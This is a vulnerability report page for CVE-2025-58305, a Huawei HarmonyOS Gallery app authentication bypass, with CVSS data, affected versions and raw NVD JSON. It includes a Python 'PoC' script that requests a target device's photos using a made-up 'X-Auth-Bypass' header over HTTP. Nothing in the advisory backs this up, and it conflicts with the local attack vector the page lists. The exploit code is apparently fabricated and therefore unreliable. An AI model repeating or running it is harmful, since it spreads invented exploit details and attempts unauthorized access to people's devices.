Security Vulnerability Report
中文
CVE-2025-58305 CVSS 6.2 MEDIUM

CVE-2025-58305

Published: 2025-11-28 04:16:01
Last Modified: 2025-12-02 02:36:11

Description

Identity authentication bypass vulnerability in the Gallery app. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:* - VULNERABLE
华为Gallery应用 受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58305 PoC - Gallery Authentication Bypass # This is a conceptual PoC for demonstration purposes only import requests import json def exploit_gallery_bypass(target_ip): """ Conceptual PoC for CVE-2025-58305 Gallery App Authentication Bypass """ print("[*] CVE-2025-58305 Gallery Authentication Bypass PoC") print("[*] Target: Huawei Device with Gallery App") # Step 1: Identify vulnerable endpoint endpoint = f"http://{target_ip}:8080/gallery/api/v1/" # Step 2: Bypass authentication by manipulating request headers headers = { 'User-Agent': 'Gallery-App/1.0', 'X-Auth-Bypass': 'true', # Malicious header to bypass auth 'X-Forwarded-For': '127.0.0.1' } # Step 3: Access protected resources without valid credentials try: response = requests.get(endpoint + 'photos', headers=headers) if response.status_code == 200: print("[+] Authentication bypass successful!") print("[+] Access to Gallery photos granted") return response.json() else: print("[-] Bypass attempt failed") return None except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Usage example target = "192.168.1.100" exploit_gallery_bypass(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58305", "sourceIdentifier": "[email protected]", "published": "2025-11-28T04:16:00.500", "lastModified": "2025-12-02T02:36:10.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Identity authentication bypass vulnerability in the Gallery app.\nImpact: Successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/11/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}